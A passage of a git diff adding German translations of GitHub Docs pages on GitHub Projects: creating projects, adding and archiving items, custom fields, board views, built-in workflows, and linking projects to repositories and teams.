+Du kannst entweder ein Organisationsprojekt oder ein Benutzerprojekt erstellen. Zum Erstellen eines Organisationsprojekts benötigst du eine {% data variables.product.prodname_dotcom %}-Organisation. Weitere Informationen findest du unter [Grundlegendes Neuerstellen einer Organisation](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch).
+
+In diesem Leitfaden fügst du deinem neuen Projekt vorhandene Issues aus Repositorys im Besitz deiner Organisation (für Organisationsprojekte) oder in deinem Besitz (für Benutzerprojekte) hinzu. Weitere Informationen zum Erstellen von Issues findest du unter [Erstellen eines Issues](/issues/tracking-your-work-with-issues/creating-an-issue).
+
+## Erstellen eines Projekts
+
+Erstelle als Erstes ein Organisationsprojekt oder ein Benutzerprojekt.
+
+### Erstellen eines Organisationsprojekts
+
+{% data reusables.projects.create-project %}
+
+### Erstellen eines Benutzerprojekts
+
+{% data reusables.projects.create-user-project %}
+
+## Festlegen der Projektbeschreibung und der Infodatei
+
+{% data reusables.projects.project-description %}
+
+## Hinzufügen von Issues zu deinem Projekt
+
+Füge deinem Projekt als Nächstes ein paar Issues hinzu.
+
+{% data reusables.projects.add-item-via-paste %}
+
+Wiederhole die obigen Schritte einige Male, um deinem Projekt mehrere Issues hinzuzufügen.
+
+Weitere Informationen zu Issues oder anderen Elementen, die du deinem Projekt hinzufügen kannst, sowie andere Möglichkeiten zum Hinzufügen von Issues findest du unter [Hinzufügen von Elementen zu deinem Projekt](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project).
+
+## Hinzufügen von Entwurfsissues zu deinem Projekt
+
+Füge deinem Projekt als Nächstes ein Entwurfsissue hinzu.
+
+{% data reusables.projects.add-draft-issue %}
+
+## Hinzufügen eines Iterationsfelds
+
+Erstelle als Nächstes ein Iterationsfeld, um deine Arbeit über wiederholte Zeitblöcke planen und nachverfolgen zu können. Durch Anpassen der Länge und Einfügen von Unterbrechungen können Iterationen so konfiguriert werden, dass sie deiner Arbeitsweise bzw. der Arbeitsweise deines Teams entsprechen.
+
+{% data reusables.projects.new-field %}
+1. Wähle **Iteration**
+   ![Screenshot der Option „Iteration“](/assets/images/help/projects-v2/new-field-iteration.png)
+3. Um die Dauer der einzelnen Iterationen zu ändern, gib eine neue Zahl ein, wähle dann das Dropdownmenü aus, und klicke dann auf **Tage** oder **Wochen**.
+   ![Screenshot der Iterationsdauer](/assets/images/help/projects-v2/iteration-field-duration.png)
+4. Klicke auf **Speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/new-field-save-and-create.png)
+
+## Erstellen eines Felds zum Nachverfolgen der Priorität
+
+Erstellen nun ein benutzerdefiniertes Feld namens `Priority`, das die Werte `High`, `Medium` oder `Low` enthält.
+
+{% data reusables.projects.new-field %}
+1. Wähle **Einfachauswahl**
+   ![Screenshot der Option „Einfachauswahl“](/assets/images/help/projects-v2/new-field-single-select.png)
+1. Gib unter „Optionen“ die erste Option ein: „Hoch“.
+   ![Screenshot der Option „Einfachauswahl“](/assets/images/help/projects-v2/priority-example.png)
+1. Zum Hinzufügen weiterer Felder für „Mittel“ und „Niedrig“ klicke auf **Option hinzufügen**.
+1. Klicke auf **Speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/new-field-save.png)
+
+Gib eine Priorität für alle Issues in deinem Projekt an.
+
+![Beispielprioritäten](/assets/images/help/projects/priority_example.png)
+
+## Gruppieren von Issues nach Priorität
+
+Gruppiere als Nächstes alle Elemente in deinem Projekt nach Priorität, um den Fokus einfacher auf die Elemente mit hoher Priorität legen zu können.
+
+{% data reusables.projects.open-view-menu %}
+1. Klicke auf {% octicon "rows" aria-label="the rows icon" %} **Gruppieren**.
+   ![Screenshot des Menüelements „Gruppieren“](/assets/images/help/projects-v2/group-menu-item.png)
+1. Klicke auf **Priorität**.
+   ![Screenshot des Menüs „Gruppieren“](/assets/images/help/projects-v2/group-menu.png)
+
+Verschiebe jetzt Issues zwischen den Gruppen, um ihre Priorität zu ändern.
+
+1. Wähle ein Issue aus.
+2. Ziehe das Issue auf eine andere Prioritätsgruppe. Dadurch ändert sich die Priorität des Issues in die Priorität der neuen Gruppe.
+
+![Verschieben eines Issues zwischen Gruppen](/assets/images/help/projects/move_between_group.gif)
+
+## Speichern der Prioritätsansicht
+
+Wenn du Issues im vorherigen Schritt nach Priorität gruppiert hast, hat dein Projekt durch einen Indikator angezeigt, dass die Ansicht geändert wurde. Speichere diese Änderungen, damit auch deine Mitarbeiter die nach Priorität gruppierten Aufgaben sehen.
+
+{% data reusables.projects.save-view %}
+
+Du kannst die URL für dein Team freigeben, damit alle über die Projektprioritäten informiert sind.
+
+Wenn eine Ansicht gespeichert wurde, wird sie jedem angezeigt, der das Projekt öffnet. In diesem Fall hast du nach Priorität gruppiert, aber du kannst auch weitere Modifizierer hinzufügen, z. B. Sortieren, Filtern oder Layout. Als Nächstes erstellst du eine neue Ansicht mit geändertem Layout.
+
+## Hinzufügen eines Boardlayouts
+
+Um den Fortschritt der Issues deines Projekts anzuzeigen, kannst du zum Boardlayout wechseln.
+
+Das Boardlayout basiert auf dem Statusfeld. Gib daher einen Status für jedes Issue in deinem Projekt an.
+
+![Beispielstatus](/assets/images/help/projects/status_example.png)
+
+Erstelle dann eine neue Sicht.
+
+{% data reusables.projects.new-view %}
+
+Wechsle als Nächstes zum Boardlayout.
+
+{% data reusables.projects.open-view-menu %}
+1. Klicke unter „Layout“ auf **Board**.
+   ![Screenshot der Option „Layout“](/assets/images/help/projects-v2/table-or-board.png)
+
+![Beispielprioritäten](/assets/images/help/projects/example_board.png)
+
+Wenn du das Layout geändert hast, weist das Projekt durch einen Indikator darauf hin, dass die Ansicht geändert wurde. Speichere diese Ansicht, damit du und deine Mitarbeiter in Zukunft problemlos darauf zugreifen können.
+
+{% data reusables.projects.save-view %}
+
+Um auf den Zweck der Ansicht hinzuweisen, gib ihr einen aussagekräftigen Namen.
+
+{% data reusables.projects.open-view-menu %}
+1. Klicke auf {% octicon "pencil" aria-label="the pencil icon" %} **Ansicht umbenennen**.
+   ![Screenshot des Menüelements zum Umbenennen](/assets/images/help/projects-v2/rename-view.png)
+1. Gib den neuen Namen für deine Ansicht ein.
+1. Drücke die <kbd>Eingabetaste</kbd>, um die Änderungen zu speichern.
+
+![Beispielprioritäten](/assets/images/help/projects/project-view-switch.gif)
+
+## Konfigurieren der integrierten Automatisierung
+
+Füge schließlich einen integrierten Workflow hinzu, um den Status auf **Todo** festzulegen, wenn deinem Projekt ein Element hinzugefügt wird.
+
+1. Klicke rechts oben auf {% octicon "kebab-horizontal" aria-label="The menu icon" %}, um das Menü zu öffnen.
+  ![Screenshot des Menüsymbols](/assets/images/help/projects-v2/open-menu.png)
+1. Klicke im Menü auf {% octicon "workflow" aria-label="The workflow icon" %} **Workflows**.
+  ![Screenshot des Menüelements „Workflows“](/assets/images/help/projects-v2/workflows-menu-item.png)
+1. Klicke unter **Standardworkflows** auf **Dem Projekt hinzugefügtes Element**.
+  ![Screenshot des Standardworkflows](/assets/images/help/projects-v2/default-workflows.png)
+1. Stelle neben **Wann** sicher, dass sowohl `issues` als auch `pull requests` ausgewählt sind.
+  ![Screenshot der Konfiguration von „Wann“ für einen Workflow](/assets/images/help/projects-v2/workflow-when.png)
+1. Wähle neben **Festlegen** die Option **Status:Todo** aus.
+  ![Screenshot der Konfiguration von „Festlegen“ für einen Workflow](/assets/images/help/projects-v2/workflow-set.png)
+1. Klicke auf die Umschaltfläche **Deaktiviert**, um den Workflow zu aktivieren.
+  ![Screenshot der Konfiguration von „Aktivieren“ für einen Workflow](/assets/images/help/projects-v2/workflow-enable.png)
+
+## Weiterführende Themen
+
+- [Hinzufügen von Elementen zu deinem Projekt](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project)
+- [Anpassen einer Ansicht](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project.md
new file mode 100644
index 0000000000..4f8a6a2535
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project.md
@@ -0,0 +1,90 @@
+---
+title: 'Hinzufügten von Elementen zu deinem {% data variables.projects.project_v2 %}'
+shortTitle: Adding items
+intro: 'Erfahre, wie du deinen Projekten Pull Requests, Issues und Issueentwürfe einzeln oder in einem Massenvorgang hinzufügst.'
+miniTocMaxHeadingLevel: 4
+versions:
+  feature: projects-v2
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: cba8a20d0ec17ec8fceb0cb30671eb3d608ae715
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107613'
+---
+Mit deinem Projekt kannst du Issueentwürfe, Issues und Pull Requests nachverfolgen. 
+
+{% note %}
+
+**Hinweis:** Ein Projekt kann maximal {% data variables.projects.item_limit %} Elemente und {% data variables.projects.archived_item_limit %} archivierte Elemente enthalten. {% ifversion projects-v2-auto-archive %}Weitere Informationen zur automatischen Archivierung von Elementen, die bestimmte Kriterien erfüllen, findest du unter [Automatisches Archivieren von Elementen](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically){% endif %}.
+
+{% endnote %}
+
+### Hinzufügen von Issues und Pull Requests zu einem Projekt
+
+#### Einfügen der URL eines Issues oder Pull Requests
+
+{% data reusables.projects.add-item-via-paste %}
+
+#### Suchen nach einem Issue oder Pull Request
+
+{% data reusables.projects.add-item-bottom-row %}
+2. Gib <kbd>#</kbd> ein.
+3. Wähle das Repository aus, in dem sich der Pull Request oder das Issue befindet. Du kannst einen Teil des Repositorynamens eingeben, um die Optionen einzugrenzen.
+  ![Screenshot des Einfügevorgangs beim Hinzufügen einer Issue-URL zum Projekt](/assets/images/help/projects-v2/add-item-select-repo.png)
+4. Wähle das Issue oder den Pull Request aus. Du kannst einen Teil des Titels eingeben, um die Optionen einzugrenzen.
+  ![Screenshot des Einfügevorgangs beim Hinzufügen einer Issue-URL zum Projekt](/assets/images/help/projects-v2/add-item-select-issue.png)
+
+#### Massenvorgang zum Hinzufügen von Issues und Pull Requests
+
+1. Klicke in der untersten Zeile des Projekts auf {% octicon "plus" aria-label="plus icon" %}.
+  ![Screenshot der Schaltfläche „Hinzufügen“ (+) unten im Projekt](/assets/images/help/projects-v2/omnibar-add.png)
+1. Klicke auf **Element aus Repository hinzufügen**.
+  ![Screenshot des Menüelements „Element aus Repository hinzufügen“](/assets/images/help/projects-v2/add-bulk-menu-item.png) {% data reusables.projects.bulk-add %}
+
+#### Hinzufügen mehrerer Issues oder Pull Requests aus einem Repository
+
+1. Navigiere auf {% data variables.location.product_location %} zum Repository mit den Issues oder Pull Requests, die du deinem Projekt hinzufügen möchtest.
+{% data reusables.repositories.sidebar-issue-pr %}
+1. Wähle links neben jedem Issuetitel die Issues aus, die du deinem Projekt hinzufügen möchtest.
+  ![Screenshot des Kontrollkästchens zum Auswählen des Issues oder Pull Requests](/assets/images/help/issues/select-issue-checkbox.png)
+1. Um alle Issues oder Pull Requests auf der Seite auszuwählen, kannst du auch oben in der Liste der Issues oder Pull Requests „Alle“ auswählen. 
+  ![Screenshot des Kontrollkästchens zum Auswählen von „Alle“ auf dem Bildschirm](/assets/images/help/issues/select-all-checkbox.png)
+1. Klicke oberhalb der Liste der Issues oder Pull Requests auf **Projekte**. 
+  ![Screenshot der Option „Projekte“](/assets/images/help/projects-v2/issue-index-project-menu.png)
+1. Klicke auf die Projekte, denen du die ausgewählten Issues oder Pull Requests hinzufügen möchtest.
+  ![Screenshot des Kontrollkästchens zum Auswählen von „Alle“ auf dem Bildschirm](/assets/images/help/projects-v2/issue-index-select-project.png)
+
+#### Zuweisen eines Projekts in einem Issue oder Pull Request
+
+1. Navigiere zu dem Issue oder Pull Request, das bzw. den du einem Projekt hinzufügen möchtest.
+2. Klicke in der Randleiste auf **Projekte**.
+  ![Screenshot der Option „Projekte“ in der Randleiste des Issues](/assets/images/help/projects-v2/issue-sidebar-projects.png)
+3. Wähle das Projekt aus, dem du das Issue oder den Pull Request hinzufügen möchtest.
+  ![Screenshot der Auswahl eines Projekts über die Issuerandleiste ](/assets/images/help/projects-v2/issue-sidebar-select-project.png)
+4. Fülle optional die benutzerdefinierten Felder aus.
+  ![Projektrandleiste](/assets/images/help/projects-v2/issue-edit-project-sidebar.png)
+
+#### Hinzufügen von Issues oder Pull Requests über die Befehlspalette
+
+1. {% data reusables.projects.open-command-palette %}
+1. Beginne mit der Eingabe von „Elemente hinzufügen“, und drücke die <kbd>EINGABETASTE</kbd>.
+{% data reusables.projects.bulk-add %}
+
+### Erstellen von Issueentwürfen
+
+Issueentwürfe sind nützlich, um Ideen schnell zu dokumentieren. Im Gegensatz zu Issues und Pull Requests, auf die von deinen Repositorys aus verwiesen wird, sind Issueentwürfe nur in deinem Projekt vorhanden.
+
+{% data reusables.projects.add-draft-issue %}
+
+Issueentwürfe können über einen Titel, einen Textkörper, zugewiesene Benutzer*innen sowie benutzerdefinierte Felder aus deinem Projekt verfügen. Damit bei einem Issueentwurf das Repository, Kennzeichnungen oder Meilensteine eingefügt werden können, musst du den Entwurf erst in ein Issue konvertieren. Weitere Informationen findest du unter [Konvertieren von Issueentwürfen in Issues](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues).
+
+{% note %}
+
+**Hinweis**: Benutzer*innen erhalten keine Benachrichtigungen, wenn sie einem Issueentwurf zugewiesen oder dort erwähnt werden, es sei denn, der Issueentwurf wird in ein Issue konvertiert.
+
+{% endnote %}
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project.md
new file mode 100644
index 0000000000..b12e96faea
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/archiving-items-from-your-project.md
@@ -0,0 +1,51 @@
+---
+title: 'Archivieren von Elementen aus deinem {% data variables.projects.project_v2 %}'
+shortTitle: Archiving items
+intro: 'Du kannst Elemente archivieren, sie zur Wiederherstellung verfügbar halten oder sie endgültig löschen.'
+miniTocMaxHeadingLevel: 2
+versions:
+  feature: projects-v2
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 2348805c920e456e2b8388c2ac41d4badd757703
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107717'
+---
+## Archivieren von Elementen
+
+Du kannst ein Element archivieren, um den Kontext für das Element im Projekt beizubehalten, das Element selbst jedoch aus den Projektansichten zu entfernen. {% ifversion projects-v2-auto-archive %}Du kannst die integrierten Workflows deines Projekts auch so konfigurieren, dass Elemente automatisch archiviert werden, die bestimmten Kriterien entsprechen. Weitere Informationen findest du unter [Automatisches Archivieren von Elementen](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically).{% endif %}
+
+{% data reusables.projects.select-an-item %} {% data reusables.projects.open-item-menu %}
+1. Klicke auf **Archive** (Archivieren).
+   ![Screenshot der Option „Archivieren“](/assets/images/help/projects-v2/archive-menu-item.png)
+1. Bestätige bei entsprechender Aufforderung deine Wahl, indem du auf **Archivieren** klickst.
+   ![Screenshot der Aufforderung zum Archivieren](/assets/images/help/projects-v2/archive-item-prompt.png)
+
+## Wiederherstellen archivierter Elemente
+
+1. Navigiere zu deinem Projekt.
+1. Klicke rechts oben auf {% octicon "kebab-horizontal" aria-label="The menu icon" %}, um das Menü zu öffnen.
+  ![Screenshot des Menüsymbols](/assets/images/help/projects-v2/open-menu.png)
+1. Klicke im Menü auf {% octicon "archive" aria-label="The archive icon" %} **Archivierte Elemente**.
+  ![Screenshot des Menüelements „Archivierte Elemente“](/assets/images/help/projects-v2/archived-items-menu-item.png)
+1. Um die angezeigten archivierten Elemente zu filtern, kannst du deinen Filter in das Textfeld über der Liste mit den Elementen eingeben. Weitere Informationen zu den verfügbaren Filtern findest du unter [Filtern von Projekten](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects).
+   ![Screenshot des Felds zum Filtern archivierter Elemente](/assets/images/help/issues/filter-archived-items.png)   
+1. Wähle links neben jedem Elementtitel die Elemente aus, die du wiederherstellen möchtest.
+   ![Screenshot mit Kontrollkästchen neben archivierten Elementen](/assets/images/help/issues/select-archived-item.png)   
+1. Um die ausgewählten Elemente wiederherzustellen, klicke oberhalb der Liste der Elemente auf **Wiederherstellen**. 
+   ![Screenshot mit der Schaltfläche „Wiederherstellen“](/assets/images/help/issues/restore-archived-item-button.png)
+
+## Löschen von Elementen
+
+Du kannst ein Element löschen, um es vollständig aus dem Projekt zu entfernen.
+
+{% data reusables.projects.select-an-item %} {% data reusables.projects.open-item-menu %}
+1. Klicke auf **Aus Projekt löschen**.
+   ![Screenshot der Löschoption](/assets/images/help/projects-v2/delete-menu-item.png)
+1. Bestätige bei entsprechender Aufforderung deine Wahl, indem du auf **Löschen** klickst.
+   ![Screenshot der Aufforderung zum Löschen](/assets/images/help/projects-v2/delete-item-prompt.png)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues.md
new file mode 100644
index 0000000000..f1b72a6be5
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/converting-draft-issues-to-issues.md
@@ -0,0 +1,38 @@
+---
+title: Konvertieren von Issueentwürfen in Issues
+shortTitle: Converting draft issues
+intro: 'Erfahre, wie du Issueentwürfe in Issues konvertierst.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+type: tutorial
+topics:
+  - Projects
+ms.openlocfilehash: 6c956f5453941bdd6b9fbe89191737b1b7f59cec
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108430'
+---
+## Konvertieren von Issueentwürfen im Tabellenlayout
+
+1. Klicke in dem Issueentwurf, den du konvertieren möchtest, auf das folgende Symbol: {% octicon "triangle-down" aria-label="the item menu" %}.
+  ![Screenshot der Schaltfläche „Elementmenü“](/assets/images/help/projects-v2/item-context-menu-button-table.png)
+2. Wähle **In Issue konvertieren** aus.
+  ![Screenshot der Option „In Issue konvertieren“](/assets/images/help/projects-v2/item-convert-to-issue.png)
+3. Wähle das Repository aus, dem du das Issue hinzufügen möchtest.
+  ![Screenshot der Repositoryauswahl](/assets/images/help/projects-v2/convert-to-issue-select-repo.png)
+
+## Konvertieren von Issueentwürfen im Boardlayout
+
+1. Klicke in dem Issueentwurf, den du konvertieren möchtest, auf das folgende Symbol: {% octicon "kebab-horizontal" aria-label="the item menu" %}.
+  ![Screenshot der Schaltfläche „Elementmenü“](/assets/images/help/projects-v2/item-context-menu-button-board.png)
+2. Wähle **In Issue konvertieren** aus.
+  ![Screenshot der Option „In Issue konvertieren“](/assets/images/help/projects-v2/item-convert-to-issue.png)
+3. Wähle das Repository aus, dem du das Issue hinzufügen möchtest.
+  ![Screenshot der Repositoryauswahl](/assets/images/help/projects-v2/convert-to-issue-select-repo.png)
+
+## Weiterführende Themen
+
+- [Erstellen von Issueentwürfen](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project#creating-draft-issues)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/index.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/index.md
new file mode 100644
index 0000000000..62880dbbd5
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/index.md
@@ -0,0 +1,22 @@
+---
+title: 'Verwalten von Elementen in deinem {% data variables.projects.project_v2 %}'
+shortTitle: 'Managing items in your {% data variables.projects.project_v2 %}'
+intro: 'Erfahre, wie du Issues, Pull Requests und Issueentwürfe hinzufügst und verwaltest.'
+versions:
+  feature: projects-v2
+topics:
+  - Issues
+  - Projects
+children:
+  - /adding-items-to-your-project
+  - /converting-draft-issues-to-issues
+  - /archiving-items-from-your-project
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 99f64d6e5f4d9cb39771f1ef9f0fae42c36a8cb7
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109682'
+---
+
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository.md
new file mode 100644
index 0000000000..20a6c9ed8e
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository.md
@@ -0,0 +1,31 @@
+---
+title: 'Hinzufügen deines {% data variables.projects.project_v2 %} zu einem Repository'
+shortTitle: 'Adding a {% data variables.projects.project_v2 %} to a repo'
+intro: 'Du kannst dein {% data variables.projects.project_v2 %} einem Repository hinzufügen, um es über dieses Repository zugänglich zu machen.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 30486f727a04ccea3b5bfd374a4da3c6367d1cb6
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109677'
+---
+Du kannst relevante Projekte in einem Repository auflisten. Du kannst nur Projekte auflisten, die dem bzw. der Benutzer*in oder der Organisation gehören, dem bzw. der das Repository gehört.
+
+Damit Repositorymitglieder ein in einem Repository aufgelistetes Projekt sehen können, müssen sie das jeweilige Projekt anzeigen können. Weitere Informationen findest du unter [Verwalten der Sichtbarkeit deiner {% data variables.projects.projects_v2 %}](/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects) und [Verwalten des Zugriffs auf deine {% data variables.projects.projects_v2 %}](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects).
+
+1. Navigiere auf {% data variables.product.prodname_dotcom %} zur Hauptseite deines Repositorys.
+1. Klicke auf {% octicon "table" aria-label="the project icon" %} **Projekte**.
+   ![Screenshot der Registerkarte „Projekte“ in einem Repository](/assets/images/help/projects-v2/repo-tab.png)
+1. Klicke auf **Projekt hinzufügen**.
+   ![Screenshot der Schaltfläche „Projekt hinzufügen“](/assets/images/help/projects-v2/add-to-repo-button.png)
+1. Suche in der angezeigten Suchleiste nach Projekten, die dem bzw. der Benutzer*in oder der Organisation gehören, dem bzw. der das Repository gehört.
+   ![Screenshot der Suche nach einem Projekt](/assets/images/help/projects-v2/add-to-repo-search.png)
+1. Klicke auf ein Projekt, um es in deinem Repository aufzulisten.
+   ![Screenshot der Schaltfläche „Projekt hinzufügen“](/assets/images/help/projects-v2/add-to-repo.png)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team.md
new file mode 100644
index 0000000000..a27c5dbbc6
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-team.md
@@ -0,0 +1,66 @@
+---
+title: 'Hinzufügen deines {% data variables.projects.project_v2 %}s zu einem Team'
+shortTitle: 'Adding a {% data variables.projects.project_v2 %} to a team'
+intro: 'Du kannst Projekte zu Teams hinzufügen, um Berechtigungen zu verwalten und die Auffindbarkeit von Projekten zu verbessern.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2-add-to-team
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+permissions: Organization owners or people with the team maintainer role and admin permissions on a project can add a project to a team.
+ms.openlocfilehash: 21e0944c95949aedf9a0039ef7b576b8840635b1
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108283'
+---
+## Informationen zum Hinzufügen von Projekten zu Teams
+
+Du kannst deinem Team Projekte hinzufügen, damit das gesamte Team Zugriff auf die jeweiligen Projekte hat. Wenn du einem Team ein Projekt hinzufügst, wird dieses Projekt auf der Projektseite des Teams aufgeführt. So können die Teammitglieder leichter erkennen, welche Projekte ein bestimmtes Team verwendet.
+
+Teams erhalten Leseberechtigungen für jedes Projekt, dem sie hinzugefügt werden. Diese Berechtigung wird den bestehenden Berechtigungen hinzugefügt, die für das Projekt und die einzelnen Teammitglieder gelten. So wird sichergestellt, dass alle höheren Berechtigungen erhalten bleiben. Weitere Informationen zum Festlegen von Berechtigungen für Teams und einzelne Mitwirkende findest du unter [Verwalten des Zugriffs auf deine Projekte](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects).
+
+## Hinzufügen eines Projekts zu einem Team
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %}
+1. Klicke auf {% octicon "project" aria-label="The Projects icon" %} **Projekte**.
+   
+   ![Screenshot der Registerkarte für Teamprojekte](/assets/images/help/organizations/team-project-board-button.png)
+   
+1. Klicke auf **Projekt hinzufügen**.
+   
+   ![Screenshot der Schaltfläche „Projekt hinzufügen“](/assets/images/help/organizations/team-project-add-project.png)
+   
+1. Beginne damit, den Namen des hinzuzufügenden Projekts einzugeben, und wähle dann das Projekt in der Ergebnisliste aus.  
+   
+   {% note %}
+   
+   **Hinweis:** Wenn diese Änderung dazu führt, dass die Projektberechtigungen der Teammitglieder erhöht werden, wirst du von {% data variables.product.product_name %} aufgefordert, deine Auswahl zu bestätigen.
+   
+   {% endnote %}
+   
+   ![Screenshot des Formulars „Projekt hinzufügen“](/assets/images/help/organizations/team-project-search.png)
+   
+
+## Entfernen eines Projekts aus einem Team
+
+{% data reusables.projects.project-settings %}
+1. Klicke auf **Manage access** (Zugriff verwalten).
+   
+   ![Screenshot des Elements „Manage access“ (Zugriff verwalten)](/assets/images/help/projects-v2/manage-access.png)
+   
+1. Klicke neben dem Team, das du aus dem Projekt entfernen möchtest, auf **Entfernen**.
+   
+   ![Screenshot: Entfernen eines Mitarbeiters](/assets/images/help/projects-v2/access-remove-member.png)
+   
+
+{% ifversion projects-v1 %}
+
+## Weitere Informationsquellen
+
+- [Verwalten des Teamzugriffs auf ein {% data variables.product.prodname_project_v1 %} einer Organisation](/organizations/managing-access-to-your-organizations-project-boards/managing-team-access-to-an-organization-project-board)
+
+{% endif %}
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/closing-and-deleting-your-projects.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/closing-and-deleting-your-projects.md
new file mode 100644
index 0000000000..569062bd2f
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/managing-your-project/closing-and-deleting-your-projects.md
@@ -0,0 +1,50 @@
+---
+title: 'Schließen und Löschen deiner {% data variables.projects.projects_v2 %}'
+shortTitle: 'Closing and deleting {% data variables.projects.projects_v2 %}'
+intro: 'Erfahre mehr über das Schließen, erneute Öffnen und dauerhafte Löschen eines {% data variables.projects.project_v2 %}s.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+redirect_from:
+  - /issues/trying-out-the-new-projects-experience/managing-projects
+type: tutorial
+topics:
+  - Projects
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: cfd4db85e8bd046e667b108c5c8d8c23102e0d29
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109676'
+---
+## Löschen eines Projekts
+
+Du kannst ein Projekt löschen, um es dauerhaft zu entfernen.
+
+{% data reusables.projects.project-settings %}
+1. Klicke unten auf der Seite auf **Dieses Projekt löschen**. 
+   ![Screenshot der Schaltfläche zum Löschen des Projekts](/assets/images/help/issues/delete-project-button.png)
+1. Lies die Warnungen und gib dann den Namen deines Projekts in das Textfeld ein.
+   ![Screenshot der Schaltfläche zur Bestätigung des Löschens des Projekts](/assets/images/help/issues/project-delete-confirm.png)
+1. Klicke auf **Ich verstehe die Folgen, dieses Projekt löschen**.
+
+## Schließen eines Projekts
+
+Du kannst ein Projekt schließen, um es aus der Liste der Projekte zu entfernen, aber den Inhalt und die Möglichkeit, das Projekt später erneut zu öffnen, beibehalten. 
+
+{% data reusables.projects.project-settings %}
+1. Klicke unten auf der Seite auf **Dieses Projekt schließen**. 
+   ![Screenshot mit der Schaltfläche zum Schließen des Projekts](/assets/images/help/issues/close-project-button.png)
+
+## Erneutes Öffnen eines Organisationsprojekts
+
+Du kannst ein zuvor geschlossenes Projekt erneut öffnen.
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.projects.reopen-a-project %}
+
+## Erneutes Öffnen eines Benutzerprojekts
+
